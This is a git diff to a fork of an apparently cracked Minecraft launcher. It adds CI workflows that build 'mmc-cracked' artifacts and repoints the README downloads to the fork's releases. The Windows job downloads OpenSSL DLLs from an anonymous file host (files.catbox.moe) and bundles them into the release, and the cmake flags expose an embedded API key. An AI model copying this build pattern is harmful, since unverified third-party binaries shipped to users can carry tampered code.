diff --git a/.github/workflows/build-mac_test.yml b/.github/workflows/build-mac_test.yml new file mode 100644 index 0000000000..3a8d017704 --- /dev/null +++ b/.github/workflows/build-mac_test.yml @@ -0,0 +1,44 @@ +name: Build macOS (sanity) + +on: + workflow_dispatch: + inputs: + arch: + description: 'Arquitetura: "intel" (macos-15-intel) ou "arm64" (macos-latest).' + required: false + default: 'intel' + +jobs: + build-mac-intel: + name: build-mac (intel) + if: ${{ github.event.inputs.arch != 'arm64' }} + runs-on: macos-15-intel + steps: + - name: Checkout + uses: actions/checkout@v4 + - name: Quick intel smoke + run: | + echo "Running intel mac job" + uname -a + - name: Upload marker + uses: actions/upload-artifact@v3 + with: + name: mac-intel-marker + path: .github/workflows/build-mac_test.yml + + build-mac-arm: + name: build-mac (arm64) + if: ${{ github.event.inputs.arch == 'arm64' }} + runs-on: macos-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + - name: Quick arm smoke + run: | + echo "Running arm mac job" + uname -a + - name: Upload marker + uses: actions/upload-artifact@v3 + with: + name: mac-arm-marker + path: .github/workflows/build-mac_test.yml diff --git a/.github/workflows/build-win-simple.yml b/.github/workflows/build-win-simple.yml new file mode 100644 index 0000000000..2e377b723e --- /dev/null +++ b/.github/workflows/build-win-simple.yml @@ -0,0 +1,215 @@ +name: TESTE + +on: + workflow_dispatch: + +jobs: + build-linux: + name: build-linux + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@main + with: + submodules: 'recursive' + + - name: Install Dependencies + run: | + sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 3B4FE6ACC0B21F32 + sudo add-apt-repository 'deb http://dk.archive.ubuntu.com/ubuntu/ bionic main' + sudo add-apt-repository 'deb http://dk.archive.ubuntu.com/ubuntu/ bionic universe' + sudo apt update + sudo apt install libgl1-mesa-dev qttools5-dev g++-5 gcc-5 + + - name: Build + run: | + export JAVA_HOME=$JAVA_HOME_8_X64 + mkdir build + cd build + cmake \ + -DCMAKE_C_COMPILER=/usr/bin/gcc-5 \ + -DCMAKE_CXX_COMPILER=/usr/bin/g++-5 \ + -DCMAKE_BUILD_TYPE=Release \ + -DLauncher_NOTIFICATION_URL:STRING=https://files.multimc.org/notifications.json \ + -DCMAKE_INSTALL_PREFIX:PATH=/home/runner/UltimMC/UltimMC \ + -DLauncher_UPDATER_BASE=https://files.multimc.org/update/ \ + -DLauncher_PASTE_EE_API_KEY:STRING=utLvciUouSURFzfjPxLBf5W4ISsUX4pwBDF7N1AfZ \ + -DLauncher_ANALYTICS_ID:STRING=UA-87731965-2 \ + -DLauncher_LAYOUT=lin-nodeps \ + -DLauncher_BUILD_PLATFORM=lin64 \ + -DLauncher_BUG_TRACKER_URL=https://github.com/UltimMC/Launcher/issues \ + -DLauncher_EMBED_SECRETS=On \ + $GITHUB_WORKSPACE + + - name: Compile + run: | + cd build + make -j$(nproc) + + - name: Test + run: | + cd build + make test + cmake -E remove_directory "/home/runner/UltimMC/UltimMC" + + - name: Install + run: | + cd build + make install + chmod +x /home/runner/UltimMC/UltimMC/UltimMC + chmod +x /home/runner/UltimMC/UltimMC/bin/UltimMC + + - name: Upload Artifacts + uses: actions/upload-artifact@main + with: + name: mmc-cracked-lin64 + path: /home/runner/UltimMC + + build-windows: + name: build-windows + runs-on: windows-latest + + steps: + - uses: actions/checkout@main + with: + submodules: 'recursive' + + - name: Cache Qt + uses: actions/cache@main + id: qt-cached + with: + path: "D:/Qt" + key: ${{ runner.os }}-qt56-installed-d + + - name: Cache Qt Installer + uses: actions/cache@main + if: steps.qt-cached.outputs.cache-hit != 'true' + id: installer-cached + with: + path: "installer.exe" + key: ${{ runner.os }}-qt56-installer + + - name: Create QtAccount File + if: steps.qt-cached.outputs.cache-hit != 'true' + run: | + mkdir C:/Users/runneradmin/AppData/Roaming/Qt/ + curl https://gist.github.com/Neptune650/1086e0a3126be6a66580b71afcf8bd99/raw/797d8b90edf07ce88f265b38a573cc6b1fb45bfb/qtaccount.txt --output C:/Users/runneradmin/AppData/Roaming/Qt/qtaccount[...] + + - name: Download Qt Installer + if: steps.installer-cached.outputs.cache-hit != 'true' && steps.qt-cached.outputs.cache-hit != 'true' + run: curl https://download.qt.io/new_archive/qt/5.6/5.6.3/qt-opensource-windows-x86-mingw492-5.6.3.exe --output installer.exe + + - name: Download Qt non-Interactive Script + if: steps.qt-cached.outputs.cache-hit != 'true' + run: curl https://gist.githubusercontent.com/Neptune650/aa6c051abc17e7d9d609add7f6dfd16a/raw/074dedb7525c0ffc010b39871615b008c2efbcd6/qt-installer-noninteractive.qs --output nonInteractive.qs + + - name: Install Qt + if: steps.qt-cached.outputs.cache-hit != 'true' + shell: cmd + run: installer.exe -v --script nonInteractive.qs --silent + + - name: Setup CMake + run: | + curl -L https://github.com/Kitware/CMake/releases/download/v3.30.4/cmake-3.30.4-windows-i386.zip -o cmake.zip + unzip cmake.zip + + - name: Setup JDK + uses: actions/setup-java@v4 + with: + distribution: 'zulu' + java-version: '8' + architecture: x86 + + - name: Setup zlib + run: | + mkdir zlib + cd zlib + C:\msys64\usr\bin\wget.exe -O zlib.zip https://downloads.sourceforge.net/project/gnuwin32/zlib/1.2.3/zlib-1.2.3-bin.zip + C:\msys64\usr\bin\wget.exe -O zliblibs.zip https://downloads.sourceforge.net/project/gnuwin32/zlib/1.2.3/zlib-1.2.3-lib.zip + unzip zlib.zip + unzip zliblibs.zip + + - name: Setup OpenSSL + run: | + mkdir OpenSSL + cd OpenSSL + curl -L https://files.catbox.moe/ctwswu.dll -o libeay32.dll + curl -L https://files.catbox.moe/ie9e77.dll -o ssleay32.dll + + - name: Build + shell: cmd + if: steps.build-cached.outputs.cache-hit != 'true' + run: | + for /f "tokens=*" %%n in ('powershell -NoLogo -Command "$(ls $pwd\cmake-*-windows-i386\bin).Fullname"') do @(set PATHCM=%%n) + set PATH=D:\Qt\5.6.3\mingw49_32\bin;D:\Qt\Tools\mingw492_32\bin; + set PATH=%CD%\zlib;%CD%\zlib\bin;%CD%\zlib\lib;%CD%\zlib\include;%PATH% + set PATH=%CD%\OpenSSL;%PATH% + set PATH=%PATHCM%;%PATH% + mkdir build + cd build + cmake ^ + -DCMAKE_C_COMPILER=gcc ^ + -DCMAKE_CXX_COMPILER=g++ ^ + -DCMAKE_BUILD_TYPE=Release ^ + -DLauncher_NOTIFICATION_URL:STRING=https://files.multimc.org/notifications.json ^ + -DCMAKE_INSTALL_PREFIX:PATH="D:/UltimMC/UltimMC" ^ + -DCMAKE_PREFIX_PATH="D:\Qt\5.6.3\mingw49_32" ^ + -DQt5_DIR="D:\Qt\5.6.3\mingw49_32" ^ + -DLauncher_UPDATER_BASE=https://files.multimc.org/update/ ^ + -DLauncher_PASTE_EE_API_KEY:STRING=utLvciUouSURFzfjPxLBf5W4ISsUX4pwBDF7N1AfZ ^ + -DLauncher_ANALYTICS_ID:STRING=UA-87731965-2 ^ + -DLauncher_LAYOUT=win-bundle ^ + -DLauncher_BUILD_PLATFORM=win32 ^ + -DLauncher_BUG_TRACKER_URL=https://github.com/UltimMC/Launcher/issues ^ + -DLauncher_EMBED_SECRETS=On ^ + -G "MinGW Makefiles" ^ + .. + + - name: Compile + shell: cmd + run: | + for /f "tokens=*" %%n in ('powershell -NoLogo -Command "$(ls $pwd\cmake-*-windows-i386\bin).Fullname"') do @(set PATHCM=%%n) + set PATH=D:\Qt\5.6.3\mingw49_32\bin;D:\Qt\Tools\mingw492_32\bin; + set PATH=%CD%\zlib;%CD%\zlib\bin;%PATH% + set PATH=%CD%\OpenSSL;%PATH% + set PATH=%PATHCM%;%PATH% + set PATH=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;%PATH% + cd build + mingw32-make -j%NUMBER_OF_PROCESSORS% + + - name: Test + shell: cmd + run: | + for /f "tokens=*" %%n in ('powershell -NoLogo -Command "$(ls $pwd\cmake-*-windows-i386\bin).Fullname"') do @(set PATHCM=%%n) + set PATH=D:\Qt\5.6.3\mingw49_32\bin;D:\Qt\Tools\mingw492_32\bin; + set PATH=%CD%\zlib;%CD%\zlib\bin;%PATH% + set PATH=%CD%\OpenSSL;%PATH% + set PATH=%PATHCM%;%PATH% + set PATH=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;%PATH% + cd build + mingw32-make test + cmake -E remove_directory "D:/UltimMC/UltimMC" + + - name: Install + shell: cmd + run: | + for /f "tokens=*" %%n in ('powershell -NoLogo -Command "$(ls $pwd\cmake-*-windows-i386\bin).Fullname"') do @(set PATHCM=%%n) + set PATH=D:\Qt\5.6.3\mingw49_32\bin;D:\Qt\Tools\mingw492_32\bin; + set PATH=%CD%\zlib;%CD%\zlib\bin;%PATH% + set PATH=%CD%\OpenSSL;%PATH% + set PATH=%PATHCM%;%PATH% + set PATH=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;%PATH% + cd build + mingw32-make install + + - name: Copy OpenSSL + shell: cmd + run: | + cp OpenSSL/ssleay32.dll D:/UltimMC/UltimMC/ssleay32.dll + cp OpenSSL/libeay32.dll D:/UltimMC/UltimMC/libeay32.dll + + - name: Upload Artifacts + uses: actions/upload-artifact@main + with: + name: mmc-cracked-win32 + path: "D:/UltimMC" diff --git a/README.md b/README.md index 22fba0464b..24a7deb5a6 100644 --- a/README.md +++ b/README.md @@ -15,23 +15,15 @@ ## Downloading -- All the available downloads can be found [here](https://nightly.link/UltimMC/Launcher/workflows/main/develop). These builds are directly taken from our [GitHub Actions](https://github.com/UltimMC/Launcher/actions). +- All the available downloads can be found [here](https://github.com/WastoLord/UltimMC-Launcher/releases/tag/compilado). These builds are directly taken from our [GitHub Actions](https://github.com/WastoLord/UltimMC-Launcher/actions/workflows/build-win-simple.yml). Direct downloads for specific platforms can be found below. -- *[Windows \(32-bit and 64-bit\)](https://nightly.link/UltimMC/Launcher/workflows/main/develop/mmc-cracked-win32.zip)*. +- *[Windows \(32-bit and 64-bit\)](https://github.com/WastoLord/UltimMC-Launcher/releases/download/compilado/mmc-cracked-win32.zip)*. -- *[Linux (64-bit)](https://nightly.link/UltimMC/Launcher/workflows/main/develop/mmc-cracked-lin64.zip)*. +- *[Linux (64-bit)](https://github.com/WastoLord/UltimMC-Launcher/releases/download/compilado/mmc-cracked-lin64.zip)*. -- *[macOS (10.14 and newer)](https://nightly.link/UltimMC/Launcher/workflows/main/develop/mmc-cracked-osx64.zip)*. -> [!NOTE] -> In the case you're using macOS then another additional step you might need to do -> is to make `UltimMC` an executable by running the command `chmod +x UltimMC.app/Contents/MacOS/UltimMC` in the terminal. - -There's additionally a [.deb package](https://nightly.link/UltimMC/ultimmc-deb/workflows/ci/master/UltimMC.zip) for Debian/Ubuntu distributions. - -And an AUR package as [ultimmc-bin](https://aur.archlinux.org/packages/ultimmc-bin). [![ultimmc-bin](https://img.shields.io/badge/ultimmc--bin-1793D1?logo=archlinux&logoColor=white&label=AUR)](https://aur.archlinux.org/packages/ultimmc-bin) ## Installing and Using